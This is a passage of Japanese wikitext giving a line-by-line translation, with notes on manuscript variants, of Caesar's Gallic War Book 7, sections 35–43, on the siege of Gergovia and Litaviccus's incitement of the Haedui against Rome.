*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Celeriter effecto opere 
**速やかに工事が成し遂げられて、
*legionibusque traductis et loco castris idoneo delecto, 
**&lt;small&gt;&lt;/small&gt;（2個）軍団が渡河させられて、陣営に適切な地点を選んで、
*reliquas copias revocavit. 
**残りの軍勢（＝4個軍団）を呼び戻した。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; Vercingetorix re cognita, 
**ウェルキンゲトリークスは事態を知って、
*ne contra suam voluntatem dimicare cogeretur, 
**自らの意向に反して&lt;small&gt;&lt;/small&gt;（ローマ勢と）争闘することを強いられないように、
*magnis itineribus antecessit.
**強行軍で&lt;small&gt;&lt;/small&gt;（ゲルゴウィアに向けて）先行した。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===36節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/36節]]　{{進捗|00%|2026-11-01}}&lt;/span&gt;
[[画像:FR-63-Gergovie.JPG|thumb|right|300px|ゲルゴウィア（Gergovia）すなわち現在のジェルゴヴィ高地（[[w:fr:Plateau de Gergovie|Plateau de Gergovie]]）の[[w:ピュイ＝ド＝ドーム県|ピュイ＝ド＝ドーム県]]県道978号（D978）からの眺望。19世紀のウジェーヌ・ストッフェル大佐（colonel [[w:fr:Eugène Stoffel|Eugène Stoffel]]）の発掘調査によって、城砦やローマ軍の溝の遺構などが発見され、当地がゲルゴウィアの古戦場だと確認された。]]
[[画像:Siège_GergovieI_-52.png|thumb|right|300px|ゲルゴウィアにおける両軍の布陣図。山の頂にある城塞都市に隣接してガッリア諸部族の陣営（黄色部分）、右方にローマ軍の大きな陣営（赤色部分）と左下にローマ軍の小さな陣営（赤色部分）が見える。推定される位置関係は19世紀のストッフェル大佐の発掘調査に依拠しており、小陣営があった地点は現在のラ・ロシュ＝ブランシュ（[[w:fr:La Roche-Blanche (Puy-de-Dôme)|La Roche-Blanche]]）だと考えられている。]]
;両軍がゲルゴウィアの要衝に陣営を築く

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Caesar ex eo loco quintis castris [[wikt:en:Gergovia#Latin|Gergoviam]] pervenit 
**カエサルは（渡河した）その地点から5回目の宿営でゲルゴウィアに到着した。
*equestrique eo die proelio levi facto, 
**（到着した）その日に（ガッリア勢と）軽微な[[w:騎兵|騎兵]]戦を闘って、
*perspecto urbis situ, quae posita in altissimo monte omnes aditus difficiles habebat, 
**山の非常に高いところに位置し、すべての接近路を困難なものとしている（ゲルゴウィアの）町の地勢を認識して、
*de &lt;u&gt;expugnatione&lt;/u&gt; desperavit;  
**（拙速に突撃するような）攻略については断念して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:expugnatione#Latin|expugnatione]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:oppugnatione#Latin|oppugnatione]] となっている。）&lt;/span&gt;
*de obsessione non &lt;u&gt;prius&lt;/u&gt; agendum constituit, &lt;u&gt;quam&lt;/u&gt; rem frumentariam expedisset. 
**糧食調達の整備をするより前には、攻囲について行なうべきでないと決心した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：prius ～ quam …「…よりも前に～」）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; At Vercingetorix, castris prope oppidum &lt;u&gt;in monte&lt;/u&gt; positis, 
**それに対して、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、山中の城塞都市の近くに陣営を設置して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：in monte は &amp;beta;系写本にある記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*mediocribus circum se intervallis separatim singularum &lt;u&gt;civitatum&lt;/u&gt; copias conlocaverat 
**自陣の周りに、適切な間隔で個々の部族の軍勢を別々に駐屯させて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、写本B･M･L･Nでは [[wikt:en:civitatum#Latin|civitatum]] という語形だが、&lt;br&gt;　　　　　　　　　&amp;chi;系･&amp;beta;系写本･写本Sでは [[wikt:en:civitatium#Latin|civitatium]] の語形となっている。）&lt;/span&gt;

*atque omnibus eius iugi collibus occupatis, qua despici poterat, 
**その尾根のうち（山麓を）見下ろすことができたすべての丘陵を占有して、
*horribilem speciem praebebat; 
**恐ろしげな姿を現わした。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; principesque earum &lt;u&gt;civitatum&lt;/u&gt;, quos sibi ad consilium capiendum delegerat, 
**（ウェルキンゲトリークス）自らが作戦を立てるために選び出していた諸部族の領袖たちに
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の語形については、上述と同様。）&lt;/span&gt;
*prima luce cotidie ad se convenire iubebat, 
**毎日、夜明けに自分のところへ集まることを命じた。
*&lt;u&gt;seu&lt;/u&gt; quid communicandum, &lt;u&gt;seu&lt;/u&gt; quid administrandum videretur, 
**何らかのことを伝達･協議するのか、あるいは何らかのことを指導するのだと思われる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：seu ～ seu …「あるいは～、あるいは…」）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; neque ullum fere diem intermittebat, quin equestri proelio interiectis sagittariis, 
**騎兵戦に弓兵を介在させることを、ほとんどどの日も中断せずに、
*quid in quoque esset animi ac virtutis suorum, &lt;u&gt;periclitaretur&lt;/u&gt;. 
**どのような心構えや武勇が、配下の者たちのおのおのにあるかを、吟味した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系写本では [[wikt:en:periclitaretur#Latin|periclitaretur]] だが、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本では [[wikt:en:perspiceretur#Latin|perspiceretur]] 、&lt;br&gt;　　　　　　　　　写本Tの一部では [[wikt:en:perspiceret#Latin|perspiceret]] となっている。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Erat [[wikt:en:e_regione#Latin|e regione]] oppidi collis sub ipsis radicibus montis 
**山のその麓の下方に、城塞都市の真向かいに、丘陵があって、
*egregie munitus atque ex omni parte circumcisus; 
**あらゆる方面から周囲が険しくて、（その地形により）すばらしく護られていた。
*quem si tenerent nostri, et aquae magna parte et pabulatione libera prohibituri hostes videbantur. 
**もし、それを我が方（ローマ勢）が占めれば、水源の大半と自由な糧秣徴発から敵たちを妨げるであろうと思われた。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Sed is locus praesidio ab his, non &lt;u&gt;nimis firmo&lt;/u&gt;, &lt;u&gt;tamen tenebatur&lt;/u&gt;. 
**だが、その地点は、彼ら（ガッリア勢）により、大して強力ではない守備隊で占められていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の nimis firmo は主要写本&amp;omega;の記述だが、Zuckerによる infirmo という修正提案がある。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の tamen tenebatur の語順は、[[ガリア戦記/注解編/写本と校訂版#Oudendorpius|Oudendorpius]] による修正提案で、&lt;br&gt;　　　　　　　　　写本では tenebatur tamen となっている。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; &lt;u&gt;(Tamen)&lt;/u&gt; silentio noctis Caesar ex castris egressus, 
**にもかかわらず（昼間ではなく）夜の静けさのうちに、カエサルは陣営から出撃して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：tamen については、上記を参照。）&lt;/span&gt;
*priusquam subsidio ex oppido veniri posset, 
**城塞都市（のそばの陣営）から援兵に来られるより前に、
*deiecto praesidio potitus loco duas ibi legiones conlocavit 
**守備隊を追い出して、地点を占拠して、そこに2個[[w:ローマ軍団|軍団]]を駐屯させた。
*fossamque duplicem duodenum pedum a maioribus castris ad minora perduxit, 
**12&lt;u&gt;ペース&lt;/u&gt;の二重の堀を、より大きな陣営から（この丘陵の）より小さな陣営へ至らしめた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、12ペースは約3.6メートル。）&lt;/span&gt;
*ut tuto ab repentino hostium incursu etiam singuli commeare possent.
**敵たちの不意の襲撃から安全に、1人1人が往来することができるように。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===37節===
'''ハエドゥイー族のコンウィクトリタウィスがガッリア同盟軍に内応する'''
*①　Dum haec ad [[w:la:Gergovia|Gergoviam]] geruntur, 
**これらがゲルゴウィアのところでなされている間に、
*Convictolitavis [[w:la:Haedui|Haeduus]], 
**[[w:ハエドゥイ族|ハエドゥイー族]]のコンウィクトリタウィスは、
*cui magistratum adiudicatum a Caesare demonstravimus, 
**その者はカエサルによって統領として承認されたと（[[#33節|33節]]で）既述したが、
*sollicitatus ab Arvernis pecunia cum quibusdam adulescentibus conloquitur, 
**[[w:アルウェルニ族|アルウェルニー族]]により金銭でそそのかされて、ある若者たちと談判した。
*quorum erat princeps Litaviccus atque eius fratres, 
**その者たちの領袖は[[w:リタウィックス|リタウィックス]]とその兄弟たちであり、
*amplissima familia nati adulescentes. 
**とても強大な一族に生まれた若者たちだった。
*②　Cum his praemium communicat 
**彼らとともに（アルウェルニー族からの）報酬を共有して、
*hortaturque, ut se liberos et imperio natos meminerint. 
**自分たちが自由民で支配層の生まれであるのを思い起こせ、と鼓舞した。
*③　Unam esse Haeduorum civitatem, quae certissimam Galliae victoriam distineat&lt;ref&gt;distineat はM･N･π･R写本などの記述で、Q･U写本などでは destineat 、A･B･S写本などでは dedistineat などとなっている。&lt;/ref&gt;; 
**ハエドゥイーの部族国家は、ガッリアの至極確実な勝利を阻んでいる唯一のものであり、
*eius auctoritate reliquas contineri; 
**その声望により、ほかの（同盟部族の）ものたちが（ローマ側に）保持されているが、
*qua traducta locum consistendi Romanis in Gallia non fore. 
**それが（ガッリア勢に）引き入れられることによって、ガッリアにおいてローマ人が留まり続ける場はないであろう。
*④　Esse nonnullo se Caesaris beneficio adfectum, 
**自分はカエサルの少なからぬ恩義をかけられているが、
*sic tamen, ut iustissimam apud eum causam obtinuerit; 
**しかし、彼（カエサル）のもとで至極合法的な理由を手に入れたまでであり、
*sed plus communi libertati tribuere. 
**しかし、（ガッリアの）共通の自由に従うことの方がより大きい。
*⑤　Cur enim potius Haedui de suo iure et de legibus ad Caesarem disceptatorem quam Romani ad Haeduos veniant? 
**なぜ実際、ハエドゥイー族は自らの法令や法制について、ローマ人がハエドゥイー族へ来るよりむしろ、カエサルを仲裁者とするのか？
*⑥　Celeriter adulescentibus et oratione magistratus et praemio deductis, 
**若者たちは速やかに、統領の演説と報酬によって導き入れられた。
*cum se vel principes eius consilii fore profiterentur, 
**自分たちがその謀計の首謀者にすらなろうと申し出たときに、
*ratio perficiendi quaerebatur, 
**（謀計を）成し遂げる方法が求められた。
*quod civitatem temere ad suscipiendum bellum adduci posse non confidebant. 
**というのは、部族がむやみに（ローマ人との）戦争実行へ動かされることができるとは確信していなかったからだ。
*⑦　Placuit, ut Litaviccus decem illis milibus, quae Caesari ad bellum mitterentur, praeficeretur atque ea ducenda curaret, 
**リタウィックスに、カエサルに戦争のために派遣されるあの（歩兵）1万名を指揮させ率いさせるのが良いとされた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：歩兵1万名については[[#34節|34節]]を参照。）&lt;/span&gt;
*fratresque eius ad Caesarem praecurrerent. 
**彼の兄弟たちは、カエサルのところへ先立って行った。
*Reliqua qua ratione agi placeat constituunt.
**残りのことが、どのようなやり方で行なわれるのが良いかが決められた。

===38節===
'''リタウィックスの鼓舞でハエドゥイー族の歩兵1万が挙兵する'''
*①　Litaviccus accepto exercitu 
**リタウィックスは（1万名の）歩兵隊を受け取って、
*cum milia passuum circiter XXX(triginta)&lt;ref&gt;XXX(triginta) はα系写本の記述で、β系写本では XL(quadraginta) となっている。&lt;/ref&gt; ab&lt;ref&gt;ab は写本(ω)の記述であるが、モイゼル（Henricus Meusel）は a を提案している。&lt;/ref&gt; [[w:la:Gergovia|Gergovia]] abesset, 
**[[w:ゲルゴウィア|ゲルゴウィア]]から約30[[w:ローママイル|ローママイル]]（＝45km弱）離れたところに来たときに、
*convocatis subito militibus lacrimans, 
**兵士たちを突然に呼び集めて、泣きながら、
*②　&quot;Quo proficiscimur,&quot; inquit, &quot;milites? 
**「兵士らよ、どこへ我々は進むのか？」と言った。
*Omnis noster equitatus, omnis nobilitas interiit; 
**「我が方（ハエドゥイー族）のすべての[[w:騎兵|騎兵隊]]とすべての高貴な者たちは滅んだ。
*principes civitatis, [[w:la:Eporedorix|Eporedorix]] et Viridomarus, 
**部族の領袖たち、エポレドリクスとウィリドマルスは、
*insimulati proditionis ab Romanis indicta causa interfecti sunt. 
**裏切りの罪を着せられて、ローマ人たちによって、弁解の余地なく殺されてしまったのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：indicta causa「弁解の余地なく」）&lt;/span&gt;
*③　Haec ab ipsis&lt;ref&gt;ipsis はα系写本の記述で、β系写本では his となっている。&lt;/ref&gt; cognoscite, qui ex ipsa caede fugerunt; 
**これは、その虐殺から逃げて来た当人たちから聞き知ってくれ。
*nam ego fratribus atque omnibus meis propinquis interfectis 
**なぜなら、私は、兄弟たちやすべての我が親族たちが殺されて
*dolore prohibeor, quae gesta sunt, pronuntiare.&quot; 
**悲嘆により、なされたことを物語ることを妨げられているからだ。」
*④　Producuntur hi&lt;ref&gt;hi はφ･β系写本の記述で、A写本では ii 、Q写本では hii となっている。&lt;/ref&gt;, quos ille edocuerat quae dici vellet, 
**彼（リタウィックス）が言って欲しいことを教え込んでいた者たちが連れ出されて来て、
*atque eadem, quae Litaviccus pronuntiaverat, multitudini exponunt: 
**リタウィックスが物語ったのと同じことを群衆に説明した。
*⑤　multos&lt;ref&gt;multos はα系写本の記述で、β系写本では omnes となっている。&lt;/ref&gt; equites [[w:la:Haedui|Haeduorum]] interfectos, quod conlocuti cum Arvernis dicerentur; 
**ハエドゥイー族の多くの騎兵たちは、アルウェルニー族と談判したと言われたので、殺された、と。
*ipsos se inter multitudinem militum occultasse atque ex media caede fugisse. 
**（彼ら）自身は、兵士ら多数の間に身を隠して、虐殺の最中から逃げて来たのだ、と。
*⑥　Conclamant Haedui et Litaviccum obsecrant, ut sibi consulat. 
**ハエドゥイー族の者たちは叫び声を上げて、リタウィックスに、自分たちに（どうするべきか）助言するように懇願した。
*&quot;Quasi vero&quot; inquit ille &quot;consilii sit res, ac non necesse sit 
**彼は言った「実にあたかも、事態が協議するべきというかのようだ。（協議する）必要はないのだ。
*nobis Gergoviam contendere et cum Arvernis nosmet coniungere. 
**我々にとって、ゲルゴウィアに急行して、アルウェルニー族と我々が合流することは。
*⑦　An dubitamus, quin nefario facinore admisso Romani iam ad nos interficiendos concurrant? 
**非道の悪行を犯したローマ人がもはや我々を殺戮するために襲いかかって来ることを疑うのかね？
*⑧　Proinde, si quid in nobis animi est, 
**それゆえに、もし我々に何らかの心構えがあるならば、
*persequamur eorum mortem, qui indignissime interierunt, 
**とても不面目に滅びた者たちの死に仇討ちしようではないか。
*atque hos latrones interficiamus.&quot; 
**かの略奪者たち（ローマ人）を誅殺しようではないか。」
*Ostendit cives Romanos, qui eius praesidii fiducia una erant&lt;ref&gt;erant は写本(ω)の記述であるが、モムゼン（Mommsen）らは ierant を提案している。&lt;/ref&gt;: 
**（リタウィックスは）彼の護衛を信頼して一緒にいたローマ市民たちを示した。
*⑨　Continuo&lt;ref&gt;Continuo はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; magnum numerum frumenti commeatusque diripit, 
**ただちに、（ローマ市民たちの）糧食や必需品の多数を略奪して、
*ipsos crudeliter excruciatos interficit. 
**当人たちを残酷に拷問して殺した。
*⑩　Nuntios tota civitate Haeduorum dimittit, 
**ハエドゥイー族の伝令たちを、部族全体にわたって遣わして、
*in&lt;ref&gt;in はβ系写本の記述だが、α系写本にはない。&lt;/ref&gt; eodem mendacio de caede equitum et principum permovet&lt;ref&gt;permovet はL･N写本の記述だが、B写本では permanet 、χ･M･S･β系写本などでは permonet となっている。&lt;/ref&gt;; 
**騎兵や領袖たちの虐殺について、同じ嘘によって扇動した。
*hortatur ut simili ratione atque ipse fecerit suas iniurias persequantur.
**（リタウィックス）自身がしたのと同様のやり方で、自分たちの（受けた）無法に仇討ちするようにと鼓舞した。

===39節===
'''エポレドリクスがハエドゥイー勢1万の寝返りをカエサルに知らせる'''
*①　[[w:la:Eporedorix|Eporedorix]] [[w:la:Haedui|Haeduus]], summo loco natus adulescens et summae domi potentiae, 
**[[w:ハエドゥイ族|ハエドゥイー族]]の[[w:エポレドリクス|エポレドリクス]]は、最高の身分に生まれた青年で、本国で最高の権勢にあった。
*et una Viridomarus, pari aetate et gratia, sed genere dispari, 
**とともに、[[w:ウィリドマルス|ウィリドマルス]]も、同じ年輩で、同様に敬意を受けていたが、異なる階級であった。
*quem Caesar ab Diviciaco sibi traditum ex humili loco ad summam dignitatem perduxerat, 
**カエサルは彼を[[w:ディウィキアクス|ディウィキアクス]]により託されて、低い身分から最高の地位へと引き立てていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ディウィキアクスはかつてローマに援助を求めた有力者で、カエサルに殺されたドゥムノリクスの兄弟。）&lt;/span&gt;
*in equitum numero convenerant nominatim ab eo evocati. 
**（その2人は）彼（カエサル）から名指しで呼び出されて、[[w:騎兵|騎兵]]として（ローマの陣中に）一緒に来ていた。
*②　His erat inter se de principatu contentio 
**彼ら（2人）には、互いに指揮官の座についての競争があって、
*et in illa magistratuum controversia 
**あの統領をめぐる紛争においても
**:&lt;span style=&quot;color:#009900;&quot;&gt;（[[#32節|32節]]～33節を参照。）&lt;/span&gt;
*alter pro Convictolitavi, alter pro Coto summis opibus pugnaverant&lt;ref&gt;pugnaverant はα系写本の記述で、β系写本では pugnaverat となっている。&lt;/ref&gt;. 
**一方は[[w:コンウィクトリタウィス|コンウィクトリタウィス]]のために、他方は[[w:コトゥス|コトゥス]]のために、最大限の助力で奮闘していた。
*③　Ex his Eporedorix cognito Litavicci consilio 
**彼らのうちエポレドリクスが[[w:リタウィックス|リタウィックス]]の謀計を知って、
*media fere nocte rem ad Caesarem defert; 
**ほぼ真夜中に、事情をカエサルのところへ報知した。
*orat ne patiatur civitatem pravis adulescentium consiliis ab amicitia populi Romani deficere; 
**（ハエドゥイーの）部族が青年たちのゆがんだ謀計によってローマ人民の友好から背くことを容認しないように懇願した。
*quod futurum provideat, si se tot hominum milia cum hostibus coniunxerint, 
**もし、このように多くの幾千もの同胞が敵たちと協同するならば、（上記の）ことが生じると用心するように、と。
*quorum salutem neque propinqui neglegere, 
**（寝返った1万の歩兵たちの）縁者たちは彼らの身の安全をなおざりにすることはないし、
*neque civitas levi momento aestimare posset.
**部族が（寝返った歩兵たちの）影響力を軽く評価できない、と。

===40節===
'''カエサルが4個軍団を率いてハエドゥイー勢1万を制止し、リタウィックスは逃亡'''
*①　Magna adfectus sollicitudine hoc nuntio Caesar, 
**この知らせにより、大きな不安を感じたカエサルは、
*quod semper [[w:la:Haedui|Haeduorum]] civitati praecipue indulserat, 
**常に[[w:ハエドゥイ族|ハエドゥイーの部族]]にとくに気遣っていたので、
*nulla interposita dubitatione legiones expeditas quattuor equitatumque omnem ex castris educit; 
**何らためらいを差しはさまずに、戦備を整えた4個[[w:ローマ軍団|軍団]]と[[w:騎兵|騎兵隊]]すべてを陣営から進発させた。
*②　nec fuit spatium tali tempore ad contrahenda castra, 
**このような情勢で、陣営を縮小するための余地はなかった。
**:&lt;span style=&quot;color:#009900;&quot;&gt;　（訳注：[[#36節|36節]]で、カエサルはゲルゴウィアの大きな陣営および敵に近い小さな陣営を6個軍団で守っていた。）&lt;/span&gt;
*quod res posita in celeritate videbatur; 
**というのは、事態は迅速さにかかっていると思われたからだ。
*C.(Gaium) Fabium legatum cum legionibus duabus castris praesidio relinquit. 
**総督副官[[w:ガイウス・ファビウス|ガイウス・ファビウス]]を2個軍団とともに陣営の守備に残しておいた。
*③　Fratres Litavicci cum comprehendi iussisset, 
**（カエサルは）リタウィックスの兄弟たちを拘束することを命じていたのだが、
*paulo ante reperit ad hostes fugisse. 
**少し前に（ゲルゴウィアの）敵たちのところへ去ったことを探り出した。
*④　Adhortatus milites ne necessario tempore itineris labore permoveantur, 
**（カエサルは）緊急の時に、行軍の労苦により乱されないように、兵士たちを激励して、
*cupidissimis omnibus progressus milia passuum [[w:la:Viginti quinque|XXV]] agmen Haeduorum conspicatus&lt;ref&gt;conspicatus はα系写本の記述で、β系写本では conspicatur となっている。&lt;/ref&gt; 
**皆がとても熱中していたので、25[[w:|ローママイル]]（約37km）進んで、ハエドゥイー族の隊列を視認した。
*immisso equitatu iter eorum moratur atque impedit 
**騎兵隊を突進させて、彼ら（ハエドゥイー勢）の行軍を妨げて、停止させた。
*interdicitque omnibus ne quemquam interficiant. 
**（ハエドゥイー勢を）誰一人殺さないように（ローマ勢の）皆に禁じた。
*⑤　[[w:la:Eporedorix|Eporedorigem]] et Viridomarum, quos illi interfectos existimabant, 
**彼ら（ハエドゥイー勢）が、殺されたものと考えていた者たち、[[w:エポレドリクス|エポレドリクス]]と[[w:ウィリドマルス|ウィリドマルス]]に、
*inter equites versari suosque appellare iubet. 
**（ハエドゥイー勢の）騎兵たちの間を歩き回って、味方に呼びかけることを命じた。
*⑥　His cognitis et Litavicci fraude perspecta Haedui manus tendere, 
**彼ら（2人）に気付いて、リタウィックスのごまかしを見通して、ハエドゥイー族の者たちは手を差し出して、
*deditionem significare et proiectis armis mortem deprecari incipiunt. 
**降伏の意を表して、武器を投げ出して、死を赦免されることを求め始めた。
*⑦　Litaviccus cum suis clientibus, 
**[[w:リタウィックス|リタウィックス]]は、配下の子分たちとともに、
*quibus more Gallorum nefas est etiam in extrema fortuna deserere patronos, 
**ガッリア人の風習では、最悪の境遇にあってさえも（子分が自分の）親分を見捨てることは非道であったので、
*[[w:la:Gergovia|Gergoviam]] profugit.
**（親分・子分ともども）[[w:ゲルゴウィア|ゲルゴウィア]]に逃れた。

===41節===
'''副官ファビウスの報告：ゲルゴウィアの敵勢がローマ陣営に襲来'''
*①　Caesar nuntiis ad civitatem [[w:la:Haedui|Haeduorum]] missis, 
**カエサルは伝令たちを[[w:ハエドゥイ族|ハエドゥイー]]の部族（当局）に遣わして、
*qui suo beneficio conservatos docerent quos iure belli interficere potuisset, 
**彼ら（伝令）に、戦時の権限により殺せた者たち（歩兵1万）は（カエサル）自らの恩恵により許されたのだ、と説かせた。
*tribusque horis noctis exercitui ad quietem datis castra ad [[w:la:Gergovia|Gergoviam]] movit. 
**（カエサルは）夜の3時間を軍隊に休息のために与えて、陣営を引き払ってゲルゴウィアの方へ向かった。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：古代ローマの不定時法では、夏季の夜の3時間は、現在の定時法の3時間よりかなり短い。）&lt;/span&gt;
*②　Medio fere itinere equites a Fabio missi, 
**（ゲルゴウィアへの）道程のほぼ中間のところで、ファビウスから[[w:騎兵|騎兵]]たちが遣わされて来て、
*quanto res in periculo fuerit, exponunt. 
**事態がどれほどの危機にあるか、を打ち明けた。
*Summis copiis castra oppugnata demonstrant, 
**（ガッリア勢の）最大級の軍勢により（ローマ勢の）陣営が攻撃された、と説明した。
*cum crebro integri defessis succederent 
**そのときに（ガッリア勢は）たびたび新たな者たちが疲労した者たちに交代していたが、
*nostrosque adsiduo labore defatigarent, 
**我が方（ローマ勢）は絶え間ない労苦により疲れ果てていた。
*quibus propter magnitudinem castrorum perpetuo esset isdem in vallo permanendum. 
**彼ら（ローマ勢）にとり、陣営の大きさのために、同じ者たちが防柵の中に留まらざるを得なかった。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルは[[#40節|40節]]②項で「陣営を縮小するための余地はなかった」とあらかじめ弁解している。）&lt;/span&gt;
*③　Multitudine sagittarum atque omnis generis&lt;ref&gt;omnis generis はα系写本の記述で、β系写本では omni genere となっている。&lt;/ref&gt; telorum multos vulneratos; 
**（ガッリア勢からの）矢の多数と飛び道具のあらゆる類いによって（ローマ勢の）多くのものが傷つけられた。
*ad haec sustinenda magno usui fuisse tormenta. 
**これに持ちこたえるために、投石器が大いに役立った。
*④　Fabium discessu eorum duabus relictis portis obstruere ceteras 
**ファビウスは、彼ら（ガッリア勢）が退却すると、2つの門を残して、ほか（の門）を閉鎖した。
*pluteosque vallo addere et se in posterum diem similemque casum apparare&lt;ref&gt;similemque casum apparare はα系写本の記述で、β系写本では similem ad casum parare となっている。&lt;/ref&gt;. 
**胸壁を防柵を付け加えて、翌日における似たような状況に備えた。
*⑤　His rebus cognitis Caesar 
**これらの事態を知って、カエサルは、
*summo studio militum ante ortum solis in castra pervenit.
**兵士たちの最大級の努力によって、日の出の前に（ゲルゴウィアの）陣営に到着した。

===42節===
'''ハエドゥイー族の者たちが反ローマ暴動を引き起こす'''
*①　Dum haec ad [[w:la:Gergovia|Gergoviam]] geruntur, 
**これらがゲルゴウィアの辺りでなされている間に、
*[[w:la:Haedui|Haedui]] primis nuntiis ab Litavicco acceptis 
**[[w:ハエドゥイ族|ハエドゥイー族]]の者たちは、[[w:リタウィックス|リタウィックス]]からの最初の知らせを受け取ったが、
*nullum sibi ad cognoscendum spatium relinquunt. 
**自分たちには（この知らせを）調べるための余地を何ら残さなかった。
*②　Impellit alios avaritia, alios iracundia et temeritas 
**ある者たちを貪欲さが、ある者たちを激しやすさや無分別が駆り立てた。
*─ quae maxime illi hominum generi est innata ─ ut levem auditionem habeant pro re comperta. 
**あの種族の人々はとりわけ、軽率な風聞を確認された事として見なすように、生まれついているのだ。
*③　Bona civium Romanorum diripiunt, caedes faciunt, in servitutem abstrahunt. 
**（ハエドゥイー族の者たちは）ローマ市民たちの財産を略奪し、殺戮を行なって、隷属状態に引きずり込んだ。
*④　Adiuvat rem proclinatam Convictolitavis 
**（さらに）傾いた事態を[[w:コンウィクトリタウィス|コンウィクトリタウィス]]が助長して、
*plebemque ad furorem impellit, ut facinore admisso ad sanitatem reverti pudeat. 
**民衆を狂暴さへと、悪行を犯して冷静さへ引き返すことを恥と思うように、駆り立てた。
*⑤　M.(Marcum) Aristium tribunum militum iter ad legionem facientem 
**&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;であるマルクス・アリスティウスが[[w:ローマ軍団|軍団]]のところへ旅しているところを
*fide data ex oppido [[w:la:Cabillonum|Cavillono]] educunt; 
**（安全の）保証を与えて、城塞都市カウィッロヌムから連れ出した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カウィッロヌム Cavillonum はカビッロヌム Cabillonum とも綴り、現在の[[w:シャロン＝スュル＝ソーヌ|シャロン＝スュル＝ソーヌ]]）&lt;/span&gt;
*idem facere cogunt eos, qui negotiandi causa ibi constiterant. 
**そこに商売をするために定住していた（ローマ人の）者たちにも同じことをするように強要した。
*⑥　Hos continuo &lt;in&gt;&lt;ref&gt;in は写本にないが、近世の活字本から挿入されている。&lt;/ref&gt; itinere adorti omnibus impedimentis exuunt; 
**直ちに彼らを途中で襲撃して、すべての手荷物を奪い取った。
*repugnantes diem noctemque obsident; 
**抵抗する者たちを昼夜にわたって包囲した。
*multis utrimque interfectis 
**（ハエドゥイー族とローマ人の）双方とも多くの者たちが殺されて、
*maiorem multitudinem armatorum&lt;ref&gt;armatorum はα系写本の記述で、β系写本では ad arma となっている。&lt;/ref&gt; concitant.
**（ハエドゥイー族の）より多くの群衆を武装へと扇動した。

===43節===
'''ハエドゥイー族当局がカエサルに屈服。ガッリア大動乱の予感'''
*①　Interim nuntio adlato omnes eorum milites in potestate Caesaris teneri, 
**その間に、彼ら（ハエドゥイー族）の兵士すべてがカエサルの権力下で支配されているという知らせがもたらされて、
*concurrunt ad Aristium, 
**（ハエドゥイー族当局の者たちは）アリスティウスのところへ急ぎ集まって、
*nihil publico factum consilio demonstrant; 
**（ローマ市民に対する襲撃は）何ら公けに企てがなされたものではないと説明した。
*②　quaestionem de bonis direptis decernunt, 
**（部族当局は、ローマ市民から）略奪された財産についての究明を決定して、
*Litavicci fratrumque bona publicant, 
